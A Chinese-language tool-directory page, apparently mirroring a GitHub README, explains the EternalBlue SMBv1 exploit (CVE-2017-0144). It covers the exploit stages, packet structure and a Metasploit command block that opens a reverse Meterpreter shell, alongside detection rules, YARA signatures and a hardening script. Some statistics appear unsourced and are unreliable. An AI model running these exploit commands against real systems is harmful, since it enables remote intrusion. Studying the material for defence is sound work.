Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Blackash-CVE-2017-0144 — CVE-2017-0144 | Kitploit
工具/GitHubGitHub/firetemple/blackash-cve-2017-0144
漏洞分析漏洞利用取证分析恶意软件分析渗透测试威胁情报入侵检测学习与教育精选资源
GitHubfiretemple/blackash-cve-2017-0144

Blackash-CVE-2017-0144

CVE-2017-0144

查看仓库
14710个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

🌐 CVE-2017-0144 — EternalBlue:Microsoft Windows SMBv1 远程代码执行漏洞

永恒之蓝

"一个漏洞利用。数十种恶意软件家族。数十亿美元的损失。"


🔍 一句话总结

CVE-2017-0144 是 Microsoft Windows 中 SMBv1 服务器实现的一个严重远程代码执行漏洞。被称为 EternalBlue 的利用程序利用了这个漏洞,并用于高影响攻击(特别是 WannaCry)。


🔥 使用 EternalBlue 的十大恶意软件(详细)

下载工具
#恶意软件类型首次发现攻击者损失备注
1WannaCry勒索软件2017年5月12日拉撒路集团(朝鲜)40–80亿美元杀开关:iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
2NotPetya擦除器(伪装成勒索软件)2017年6月27日Sandworm(俄罗斯)100亿美元以上使用了 Mimikatz + EternalBlue + PSEXEC
3Bad Rabbit勒索软件2017年10月24日Indrik Spider区域性通过虚假Flash更新驱动下载
4Uiwix勒索软件2017年5月未知低无杀开关,比WannaCry更隐蔽
5EternalRocks蠕虫2017年5月未知中7款NSA工具(包括DoublePulsar)
6Adylkuzz加密货币矿工2017年5月未知高(隐蔽)在WannaCry之前挖掘门罗币
7Retefe银行木马2017–2018未知欧盟银行使用EternalBlue进行横向移动
8TrickBot模块化恶意软件2017–2021Wizard Spider全球通过EternalBlue投放Ryuk
9Emotet加载器2017–2021TA542全球用作Cobalt Strike的入口
10Clop / Dridex勒索软件2019–2025TA505医疗、政府2025年仍活跃

🧨 EternalBlue 利用演变

永恒之蓝1
工具发布功能
EternalBlue(原始版)2017年4月(Shadow Brokers)SMBv1 RCE
DoublePulsar2017年4月后门植入(ring0)
EternalRomance2017年4月SMBv3变种
EternalChampion2017年4月替代SMB路径
Metasploit 模块2017年5月exploit/windows/smb/ms17_010_eternalblue
FuzzBunch2017年4月NSA利用框架
Impacket + PSEXEC2017–2025Python SMB利用
永恒之蓝2

🔍 CVE-2017-0144 (EternalBlue) 是如何被利用的

SMBv1 RCE 逐步深入技术解析

"一个畸形数据包。完全SYSTEM访问权限。无需登录。无需点击。"


🎯 极简总结:利用流程

root@kitploit:~
[攻击者] 
   │
   ├──▶ 发送精心构造的 SMBv1 **Trans2** 请求
   │       → 触发 `srv!SrvOS2FeaListSizeToNt` 中的 **堆溢出**
   │
   ├──▶ 覆盖函数指针 → **内核 shellcode**
   │
   └──▶ 执行 **DoublePulsar** 后门 → **Ring-0 载荷**
           (例如 WannaCry 的 `mssecsvc.exe`)

🛠️ 利用前提条件

需求详情
目标启用 SMBv1 的 Windows(Windows 10 之前默认开启)
开放端口445/TCP(或通过 NetBIOS 的 139/TCP)
无需认证无需身份验证 — 不需要用户名/密码
架构x86 或 x64(均支持)
补丁状态未打补丁(MS17-010 之前)

🚀 利用阶段(7步)

阶段1: SMB协议协商

root@kitploit:~
SMB_COM_NEGOTIATE → 客户端发送方言列表
服务器响应:SMBv1 支持 → 继续

为什么? 确认 SMBv1 处于活动状态。


阶段2: 连接到 IPC$ 共享树

永恒之蓝3
root@kitploit:~
\\TARGET\IPC$ → SMB 管道的匿名共享

目的:建立会话以发送事务请求。


阶段3: Trans2 会话设置(主要)

  • 使用 SMB_COM_TRANSACTION2 (0x32)
  • 子命令:SESSION_SETUP
  • 使用畸形大小设置 FEALIST 结构
root@kitploit:~
FEALIST {
    SizeOfListInBytes = 0xFFFF(或大值)
    ...
}

漏洞触发:SrvOS2FeaListSizeToNt() 信任该大小而不进行边界检查。


阶段4: 辅助 Trans2 请求(溢出)

  • 发送多个辅助数据包
  • 每个包含超大的 FEALIST + FEA(文件扩展属性)
永恒之蓝4
root@kitploit:~
FEA {
    AttributeNameLength = 0x00
    AttributeName = "A" * 0x1000  → 溢出缓冲区
}

堆喷射:分配大块内存以控制内存布局。


阶段5: 内核缓冲区溢出

root@kitploit:~
srv!SrvOS2FeaListSizeToNt(
    PFEALIST FeaList,      // 攻击者控制
    PULONG pNtFeaListSize  // 输出指针
)
{
    // 未验证 FeaList->SizeOfListInBytes
    memcpy(dest, src, FeaList->SizeOfListInBytes);  // 崩溃
}

结果:

  • 堆溢出 → 覆盖相邻内核对象
  • 目标:SRVNET_BUFFER 或 POOL_HEADER
  • 覆盖函数指针(例如 Free 例程)

阶段6: 内核 Shellcode 执行

  • 攻击者通过覆盖的函数指针控制 RIP/EIP
  • 跳转到非分页池中的 shellcode

Shellcode 执行:

  1. Ring-0 → Ring-3 转换(通过 KeUserModeCallback)
  2. 分配用户模式内存
  3. 下载/部署载荷(例如 mssecsvc.exe)
  4. 安装 DoublePulsar 后门

阶段7: DoublePulsar 后门植入

永恒之蓝6
  • 注入内核驱动程序(XOR 密钥 0x00120034)
  • 监听魔法 SMB 数据包:
    • Ping:0x0002C001
    • Exec:0x0002C002 + 载荷

WannaCry 示例:

root@kitploit:~
EternalBlue → DoublePulsar → mssecsvc.exe → tasksche.exe → 加密文件

🧨 漏洞利用数据包结构(简化)

root@kitploit:~
SMB 头部
└── 命令:0x32 (TRANSACTION2)
    └── 设置:0x000E (SESSION_SETUP)
        └── 参数:TotalDataCount = 0x1000
            └── 数据: 
                [FEALIST]
                  SizeOfListInBytes = 0x1100
                  [FEA #1] NameLen=0, Name="A"*0x1000
                  [FEA #2] ...
                [GROOM x100] → 喷射堆
                [OVERFLOW] → 覆盖池
                [SHELLCODE] → x64 ring0

🛠️ 真实利用工具

工具语言模块
MetasploitRubyexploit/windows/smb/ms17_010_eternalblue
ImpacketPythonsmbclient.py, psexec.py
FuzzBunchPython (NSA)EternalBlue-2.2.0
自定义C2C/C++WannaCry, NotPetya

Metasploit 示例

root@kitploit:~
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit

🔬 内存取证证据

工件位置值
DoublePulsar内核内存XOR 密钥 0x00120034
Shellcodesrvnet.sys 池0xCC 0x90 0x48 模式
注入的 DLLC:\Windows\mssecsvc.exeSHA256: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa

🛡️ 检测规则

Snort/Suricata

root@kitploit:~
alert tcp any any -> $HOME_NET 445 (
    msg:"ETERNALBLUE 尝试";
    flow:to_server,established;
    content:"|ff|SMB2"; depth:5;
    content:"|00 04 08 00|"; distance:100; within:4;
    classtype:attempted-admin;
    sid:1000001;
)

Zeek (Bro)

root@kitploit:~
event smb1_transaction2_secondary(c: connection, hdr: SMB1::Header, args: SMB1::Trans2_Secondary_Args) {
    if (args$data_len > 4096) {
        NOTICE([$note=SMB::Large_Trans2_Data, $conn=c]);
    }
}

🔄 蠕虫传播(WannaCry 循环)

root@kitploit:~
while (true) {
    扫描网络中的 445 端口
    if (开放) → EternalBlue 利用
    if (成功) → 投放 mssecsvc.exe + 传播
    Sleep(随机(1000, 5000))
}

传播速度:全球约每小时 10,000 次感染。


🛑 为何如此成功

因素原因
无需认证SMBv1 允许匿名 IPC$
可蠕虫化内置局域网扫描
内核 RCE绕过防病毒/用户提示
遗留 SMBv1默认开启超过 15 年
未打补丁系统关键基础设施中的 XP, 2003, 7

🎯 漏洞利用成功率(2017-2025)

年份成功率(未打补丁)
201799%
202085%
2025约60%(仅遗留系统)

在没有 MS17-010 的 Windows 7/2008 R2 上仍然有效


📚 参考

  • Microsoft MS17-010
  • RiskSense EternalBlue 分析
  • Metasploit 模块
  • NSA FuzzBunch 泄露

⚡ 最终总结:它是如何被利用的

EternalBlue = 被武器化的数学错误
SMB 中受信任的大小字段 → 内核堆溢出 → 任意代码 → 全球勒索软件大流行

root@kitploit:~
SMB 数据包 → 缓冲区溢出 → 内核 Shellcode → DoublePulsar → 恶意软件

精心制作,结合可视化与真实世界威胁情报。更新于 2025 年 11 月。

"一个数据包。一个端口。一个帝国的陨落。"


🛡️ 补丁与检测矩阵

操作系统KB 补丁禁用 SMBv1Nmap 脚本
Windows 7 / 2008 R2KB4012212sc config lanmanworkstation depend= bowser/mrxsmb20/nsismb-vuln-ms17-010.nse
Windows 10KB4013429PowerShell: Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
Windows XP(已终止支持)KB4012598(紧急)注册表: HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\SMB1 = 0

🔍 YARA 规则(前三大恶意软件)

1. WannaCry

Wana_Decrypt0r 截图
root@kitploit:~
rule WannaCry_Ransomware {
    strings:
        $mz = { 4d 5a }
        $s1 = "WannaDecryptor" wide
        $s2 = "tasksche.exe"
        $s3 = "@WANA" ascii
        $encrypt = { 57 61 6E 61 43 72 79 70 74 30 72 }
    condition:
        $mz at 0 and 2 of ($s*)
}

2. NotPetya

Petya A
root@kitploit:~
rule NotPetya_Wiper {
    strings:
        $pdb = "perfc.dat" nocase
        $dll = "dllhost.dat"
        $mof = "ntdevmgr.vbs"
        $mimikatz = "mimikatz"
    condition:
        uint16(0) == 0x5A4D and 2 of them
}

3. EternalBlue 漏洞利用数据包

nessus1
nessus2
root@kitploit:~
rule EternalBlue_SMB_Exploit {
    strings:
        $smb_negotiate = { 00 00 00 ?? ff 53 4d 42 72 00 }
        $tree_connect = { 00 00 00 ?? ff 53 4d 42 75 00 }
        $trans2 = { 00 00 00 ?? ff 53 4d 42 32 00 }
        $overflow = { 00 04 08 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? }
    condition:
        all of them
}

📊 2025 年状态:仍然活跃?

指标状态
Shodan 暴露的 SMBv1约 120 万(2025年11月)
活跃利用(蜜罐)每日
使用它的勒索软件Clop, LockBit(遗留目标)
最易受攻击医疗、制造业、中小企业
零信任修复封锁 445 端口,强制 MFA,EDR

🛑 杀伤链(MITRE ATT&CK)

阶段技术ID
初始访问利用公开应用程序T1190
执行Windows SMB RCET1210
持久化通过 DoublePulsar 后门T1505.003
横向移动SMB/Windows 管理共享T1021.002
影响数据加密以影响T1486

🛠️ 完整修复脚本(PowerShell)

root@kitploit:~
# === ETERNALBLUE 加固脚本 ===
Write-Host "正在应用 EternalBlue 缓解措施..." -ForegroundColor Cyan

# 1. 禁用 SMBv1
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart

# 2. 封锁 445 端口
New-NetFirewallRule -DisplayName "Block SMB Inbound" -Direction Inbound -Action Block -Protocol TCP -LocalPort 445

# 3. 启用 SMB 签名
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "RequireSecuritySignature" -Value 1
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters" -Name "RequireSecuritySignature" -Value 1

# 4. 检查补丁
$patch = Get-HotFix -Id KB4012212 -ErrorAction SilentlyContinue
if ($patch) { Write-Host "已打补丁!" -ForegroundColor Green } else { Write-Host "未打补丁!" -ForegroundColor Red }

Write-Host "需要重新启动。请以管理员身份运行。"

📚 参考与来源

来源链接
NVDnvd.nist.gov/vuln/detail/CVE-2017-0144
Microsoft MS17-010msrc.microsoft.com/update-guide
MITRE ATT&CKattack.mitre.org/techniques/T1210
CrowdStrike WannaCry 报告crowdstrike.com/blog/wannacry
Kaspersky EternalBluekaspersky.com/blog/wannacry-ransomware
Shodan 搜索shodan.io/search?query=port%3A445+os%3A%22Windows%22

⚡ 结语(2025)

CVE-2017-0144 并没有消亡——它是一个遗留僵尸。
它在以下环境中仍然活跃:

  • 未打补丁的 Windows 7/2008
  • 影子 IT
  • 气隙关键系统
  • 配置错误的云虚拟机

如果你能从互联网上 ping 通 445 端口——下一个就是你。


精心制作,结合可视化与真实世界威胁情报。更新于 2025 年 11 月。
适用于渗透测试实验室、应急响应手册或 CISO 简报。


"打补丁。封锁它。用火烧掉它。"